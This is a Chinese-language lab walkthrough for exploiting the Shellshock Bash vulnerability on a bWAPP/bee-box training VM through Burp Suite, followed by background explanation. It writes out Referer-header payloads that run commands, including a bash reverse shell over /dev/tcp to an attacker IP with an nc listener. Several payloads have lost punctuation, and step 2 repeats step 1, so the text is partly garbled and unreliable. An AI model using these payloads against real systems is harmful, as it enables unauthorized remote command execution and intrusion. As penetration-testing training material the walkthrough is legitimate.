Shellshock也称为Bashdoor是2014年9月在Bashshell中发现的一个严重漏洞。该漏洞允许攻击者通过环境变量值中的函数定义来执行任意命令。作为Web渗透测试人员了解和利用Shellshock尤为重要因为许多Web应用程序会使用系统环境变量并且开发人员有时会在PHP和CGI脚本中调用系统命令。在这个任务中我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行权限。目录目标信息1、浏览并登录到bee-box2、选择Shellshock漏洞3、记录请求并分析4、配置Burp Suite 拦截响应5、构造并发送恶意请求6、查看响应7、执行更复杂的命令8、建立反向Shell相关知识与技能目标信息易受攻击的靶机蜜罐虚拟机IP地址192.168.148.129Web应用访问地址http://192.168.148.129/bWAPP/1、浏览并登录到bee-box打开浏览器访问http://192.168.148.129/bWAPP/。登录bWAPP以开始练习。2、选择Shellshock漏洞打开浏览器访问http://192.168.148.129/bWAPP/。登录bWAPP以开始练习。3、记录请求并分析使用BurpSuite记录HTTP请求并重新加载页面。查看代理历史记录找到一个调用/cgi-bin/shellshock.sh的iframe这可能是易受Shellshock影响的脚本。4、配置Burp Suite 拦截响应转到Burp Suite的“代理选项卡中的“选项”选中“拦截响应的复选框。设置Burp Suite拦截并重新加载shellshock.php。5、构造并发送恶意请求在BurpSuite中单击Forward直到看到对/bWAPP/cgi-bin/shellshock.sh的GET 请求。将Referer头替换为O{}echoVulnerable:如下图所示6、查看响应再次单击Forward”查看响应。如果响应中包含一个新的标题参数Vulnerable则说明漏洞存在。7、执行更复杂的命令尝试执行更复杂的命令例如获取网络接口配置Referer: O {:}; echo Vulnerable: ; $(/bin/sh -c /sbin/ifconfig) 响应将包含命令的结果证明可以在服务器上远程执行命令。8、建立反向Shell在KaliLinux中打开终端监听一个端口。 nc -vlp 12345在Burp Suite 中选择对 shellshock.sh的任何请求右键单击并将其发送到 Repeater.在Repeater中将Referer头修改为Referer:0{:;};/bin/bash -cbash -i /dev/tcp/192.168.148.128/12345 01 其中192.168.148.128是Kali机器的IP地址。 单击“Go发送请求检查终端以确认连接已建立并验证是否获得了远程Shell。相关知识与技能1、Shellshock漏洞概述Shellshock漏洞的核心在于Bash解释器处理环境变量的方式。当环境变量中包含函数定义时Bash会解析并执行这些函数。漏洞的关键部分是O{}这是一个空函数定义。由于Bash允许将函数存储为环境变量因此在函数定义之后可以附加任意命令这些命令将在函数定义后被解释并执行。例如O{}echoVulnerable:中的echoVulnerable:会在函数定义后被执行从而输出Vulnerable:。2、利用Shellshock进行命令执行在Web服务器环境中CGI脚本通常会将请求的所有部分映射到环境变量。因此通过替换Referer头或其他环境变量可以触发Shellshock漏洞。一旦确认服务器易受攻击可以执行更复杂的命令如ifconfig或设置反向Shell。3、反向Shell反向Shell是一种由服务器发起的远程Shell客户端监听连接。这种方式常用于绕过防火墙规则因为防火墙通常只阻止入站连接而不阻止出站连接。一旦获得了服务器的Shell下一步通常是提升权限并收集进一步渗透所需的信息。4、其他利用方法Shellshock漏洞在全球范围内影响了大量的服务器和设备有多种利用方法。例如可以通过MetasploitFramework中的模块设置DHCP服务器将命令注入到连接到它的客户端上这对于网络渗透测试非常有用。Metasploit模块示例DHCPClient BashEnvironmentInjection